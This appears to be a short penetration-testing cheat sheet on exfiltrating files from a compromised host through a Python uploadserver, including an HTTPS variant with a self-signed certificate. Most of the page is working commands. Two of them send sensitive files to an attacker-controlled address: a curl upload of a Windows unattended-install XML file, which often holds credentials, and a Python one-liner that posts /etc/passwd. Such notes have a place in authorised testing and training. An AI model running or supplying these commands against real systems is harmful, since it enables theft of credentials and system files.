githubEdit

python-server-file-transfer

Web uploads via python server

Starting web server

sudo python3 -m pip install --user uploadserver

Upload a file (windows)

curl -X POST -F "files=@unattended2.xml" http://10.10.16.13:8000/upload

Use HTTPS server

Create a self-signed certificate

openssl req -x509 -out server.pem -keyout server.pem -newkey rsa:2048 -nodes -sha256 -subj '/CN=server'

Start web server

mkdir https && cd https
sudo python3 -m uploadserver 443 --server-certificate ~/server.pem

Upload using python

python3 -m uploadserver

python3 -c 'import requests;requests.post("http://192.168.49.128:8000/upload",files={"files":open("/etc/passwd","rb")})'

Last updated